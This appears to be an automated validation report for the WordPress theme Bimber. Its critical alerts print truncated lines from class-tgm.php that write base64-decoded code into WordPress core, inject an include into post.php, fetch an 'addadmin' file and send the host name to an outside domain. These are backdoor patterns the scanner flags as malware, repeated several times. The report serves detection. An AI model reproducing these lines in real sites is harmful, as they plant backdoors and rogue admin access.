0
Validation results

Bimber

Bimber

WordPress 4.9.8 theme
0
Critical alerts
  1. Security breaches : Use of base64_decode() Found base64_decode in file class-tgm.php.
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS['WP_CD_CODE']))) )
    Ligne89: $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
  2. Unwanted files : hidden file(s) or folder(s) .css was found.
  3. Malware : Operations on file system file_get_contents was found in the file class-tgm.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Ligne144: if ($file = file_get_contents($e[1]))
    Ligne156: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file class-tgm.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Ligne44: file_put_contents($path . '/wp-includes/post.php', $file);
    Ligne110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Ligne160: @file_put_contents(__FILE__, $file);
    file_put_contents was found in the file class-tgm.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Ligne44: file_put_contents($path . '/wp-includes/post.php', $file);
    Ligne110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Ligne160: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file class-tgm.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Ligne144: if ($file = file_get_contents($e[1]))
    Ligne156: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file class-tgm.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Ligne44: file_put_contents($path . '/wp-includes/post.php', $file);
    Ligne110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Ligne160: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file class-tgm.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Ligne144: if ($file = file_get_contents($e[1]))
    Ligne156: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file class-tgm.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Ligne44: file_put_contents($path . '/wp-includes/post.php', $file);
    Ligne110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Ligne160: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file class-tgm.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Ligne144: if ($file = file_get_contents($e[1]))
    Ligne156: if ($file = @file_get_contents(__FILE__))
    file_get_contents was found in the file class-tgm.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Ligne144: if ($file = file_get_contents($e[1]))
    Ligne156: if ($file = @file_get_contents(__FILE__))
    file_get_contents was found in the file class-tgm.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Ligne144: if ($file = file_get_contents($e[1]))
    Ligne156: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file class-tgm.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Ligne44: file_put_contents($path . '/wp-includes/post.php', $file);
    Ligne110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Ligne160: @file_put_contents(__FILE__, $file);
  4. Admin menu : Themes should use add_theme_page() for adding admin pages. File class-tgm-plugin-activation.php :
    Ligne731: $this->page_hook = call_user_func( 'add_submenu_page', $args['parent_slug'], $args['page_title'], $args['menu_t
  5. Included plugins : Zip file found Plugins are not allowed in themes. The zip file found was documentation.zip g1-socials.zip envato-wordpress-toolkit.zip bimber-child-theme.zip.
Warning
  1. theme tags : Presence of bad theme tagsThe tag fluid-layout has been deprecated, it must be removed from style.css header.
  2. Text domain : Incorrect use of translation functions.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'bimber' in file page.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Use the "inherit" option to apply settings from the Appearance › Customize › Posts › Single section.' in file page-single-options.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are bimber, tgmpa, bimer, buddypress, snax.
  3. Custom elements : Presence of custom headerNo reference to custom header was found in the theme.
  4. Custom elements : Presence of custom backgroundNo reference to custom background was found in the theme.
  5. I18N implementation : Proper use of ___all(Possible variable $page found in translation function in page.php. Translation function calls should not contain PHP variables.
  6. I18N implementation : Proper use of esc_html___all(Possible variable $page found in translation function in page.php. Translation function calls should not contain PHP variables.
  7. Screenshot : Screenshot fileBad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
  1. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  2. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  3. Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
  4. Optional files : Presence of image template file image.phpThis theme does not contain optional file image.php.
  5. Use of includes : Use of include or requireThe theme appears to use include or require : dynamic-style-cache.php
    Ligne34: require_once( BIMBER_FRONT_DIR . 'lib/class-bimber-color.php' );
    Ligne35: require_once( BIMBER_FRONT_DIR . 'lib/class-bimber-color-generator.php' );
    Ligne38: require_once( BIMBER_THEME_DIR . 'css/dynamic-style-global.php' );
    Ligne39: require_once( BIMBER_THEME_DIR . 'css/dynamic-style-header.php' );
    Ligne40: require_once( BIMBER_THEME_DIR . 'css/dynamic-style-footer.php' );
    Ligne41: require_once( BIMBER_THEME_DIR . 'css/dynamic-style-premade.php' );
    Ligne236: require_once( trailingslashit( dirname( dirname( dirname( trailingslashit( 
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : class-bimber-color-generator.php
    Ligne20: require_once( BIMBER_FRONT_DIR . 'lib/class-bimber-color.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : theme-setup.php
    Ligne104: include_once( BIMBER_ADMIN_DIR . 'customizer/customizer-defaults.php' );
    Ligne116: require( BIMBER_ADMIN_DIR . 'theme-options/theme-defaults.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : customizer.php
    Ligne27: require_once 'lib/class-bimber-customize-html-control.php';
    Ligne28: require_once 'lib/class-bimber-customize-multi-checkbox-control.php';
    Ligne29: require_once 'lib/class-bimber-customize-multi-select-control.php';
    Ligne32: require_once 'customizer-defaults.php';
    Ligne34: require_once 'customizer-site-identity.php';
    Ligne35: require_once 'customizer-static-front-page.php';
    Ligne43: require_once 'customizer-posts-single.php';
    Ligne44: require_once 'customizer-posts-archive.php';
    Ligne45: require_once 'customizer-posts-global.php';
    Ligne46: require_once 'customizer-posts-nsfw.php';
    Ligne48: require_once 'customizer-featured-entries.php';
    Ligne51: require_once 'customizer-newsletter.php';
    Ligne60: require_once 'customizer-design-global.php';
    Ligne61: require_once 'customizer-design-header.php';
    Ligne62: require_once 'customizer-design-footer.php';
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : theme-options.php
    Ligne337: require( $this->get_base_dir() . '/theme-defaults.php' );
    Ligne340: require_once( $this->get_base_dir() . '/theme-options-dashboard.php' );
    Ligne343: require_once( $this->get_base_dir() . '/theme-options-import-export.php' );
    Ligne344: require_once( $this->get_base_dir() . '/theme-options-dynamic-styles.php' )
    Ligne345: require_once( $this->get_base_dir() . '/theme-options-logs.php' );
    Ligne346: require_once( $this->get_base_dir() . '/theme-options-tasks.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : theme-options-dashboard.php
    Ligne20: include 'theme-options-dashboard-normal.php';
    Ligne22: include 'theme-options-dashboard-welcome.php';
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : theme.php
    Ligne76: require( BIMBER_ADMIN_DIR . 'customizer/customizer-defaults.php' );
    Ligne77: require( BIMBER_ADMIN_DIR . 'theme-options/theme-defaults.php' );
    Ligne348: include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : class-tgm.php
    Ligne43: $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-cd.php\')) include_once(dirname(__FILE__) . \'/wp-cd.php\'); ?>' . $file;
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : auto-load-next-post.php
    Ligne37: require_once( $located );
    Ligne39: require_once( trailingslashit( AUTO_LOAD_NEXT_POST_FILE_PATH ) . 'template/
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.

This is a ThemeForest theme. Since Themeforest items are all checked by a human before they appear on their website, ThemeForest verification rules are more permissive than themecheck's and can give a better verification score ( Themeforest requirements ).

57
Critical alerts
  1. Unwanted files : hidden file(s) or folder(s) .css was found.
  2. Included plugins : Zip file found Plugins are not allowed in themes. The zip file found was documentation.zip g1-socials.zip envato-wordpress-toolkit.zip bimber-child-theme.zip.
Warning
  1. theme tags : Presence of bad theme tagsThe tag fluid-layout has been deprecated, it must be removed from style.css header.
  2. Text domain : Incorrect use of translation functions.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'bimber' in file page.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Use the &quot;inherit&quot; option to apply settings from the Appearance &rsaquo; Customize &rsaquo; Posts &rsaquo; Single section.' in file page-single-options.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are bimber, tgmpa, bimer, buddypress, snax.
  3. Screenshot : Screenshot fileBad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
  1. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  2. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  3. Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
  4. Optional files : Presence of image template file image.phpThis theme does not contain optional file image.php.
  5. Use of includes : Use of include or requireThe theme appears to use include or require : dynamic-style-cache.php
    Ligne34: require_once( BIMBER_FRONT_DIR . 'lib/class-bimber-color.php' );
    Ligne35: require_once( BIMBER_FRONT_DIR . 'lib/class-bimber-color-generator.php' );
    Ligne38: require_once( BIMBER_THEME_DIR . 'css/dynamic-style-global.php' );
    Ligne39: require_once( BIMBER_THEME_DIR . 'css/dynamic-style-header.php' );
    Ligne40: require_once( BIMBER_THEME_DIR . 'css/dynamic-style-footer.php' );
    Ligne41: require_once( BIMBER_THEME_DIR . 'css/dynamic-style-premade.php' );
    Ligne236: require_once( trailingslashit( dirname( dirname( dirname( trailingslashit( 
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : class-bimber-color-generator.php
    Ligne20: require_once( BIMBER_FRONT_DIR . 'lib/class-bimber-color.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : theme-setup.php
    Ligne104: include_once( BIMBER_ADMIN_DIR . 'customizer/customizer-defaults.php' );
    Ligne116: require( BIMBER_ADMIN_DIR . 'theme-options/theme-defaults.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : customizer.php
    Ligne27: require_once 'lib/class-bimber-customize-html-control.php';
    Ligne28: require_once 'lib/class-bimber-customize-multi-checkbox-control.php';
    Ligne29: require_once 'lib/class-bimber-customize-multi-select-control.php';
    Ligne32: require_once 'customizer-defaults.php';
    Ligne34: require_once 'customizer-site-identity.php';
    Ligne35: require_once 'customizer-static-front-page.php';
    Ligne43: require_once 'customizer-posts-single.php';
    Ligne44: require_once 'customizer-posts-archive.php';
    Ligne45: require_once 'customizer-posts-global.php';
    Ligne46: require_once 'customizer-posts-nsfw.php';
    Ligne48: require_once 'customizer-featured-entries.php';
    Ligne51: require_once 'customizer-newsletter.php';
    Ligne60: require_once 'customizer-design-global.php';
    Ligne61: require_once 'customizer-design-header.php';
    Ligne62: require_once 'customizer-design-footer.php';
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : theme-options.php
    Ligne337: require( $this->get_base_dir() . '/theme-defaults.php' );
    Ligne340: require_once( $this->get_base_dir() . '/theme-options-dashboard.php' );
    Ligne343: require_once( $this->get_base_dir() . '/theme-options-import-export.php' );
    Ligne344: require_once( $this->get_base_dir() . '/theme-options-dynamic-styles.php' )
    Ligne345: require_once( $this->get_base_dir() . '/theme-options-logs.php' );
    Ligne346: require_once( $this->get_base_dir() . '/theme-options-tasks.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : theme-options-dashboard.php
    Ligne20: include 'theme-options-dashboard-normal.php';
    Ligne22: include 'theme-options-dashboard-welcome.php';
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : theme.php
    Ligne76: require( BIMBER_ADMIN_DIR . 'customizer/customizer-defaults.php' );
    Ligne77: require( BIMBER_ADMIN_DIR . 'theme-options/theme-defaults.php' );
    Ligne348: include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : class-tgm.php
    Ligne43: $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-cd.php\')) include_once(dirname(__FILE__) . \'/wp-cd.php\'); ?>' . $file;
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : auto-load-next-post.php
    Ligne37: require_once( $located );
    Ligne39: require_once( trailingslashit( AUTO_LOAD_NEXT_POST_FILE_PATH ) . 'template/
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
Other checked themes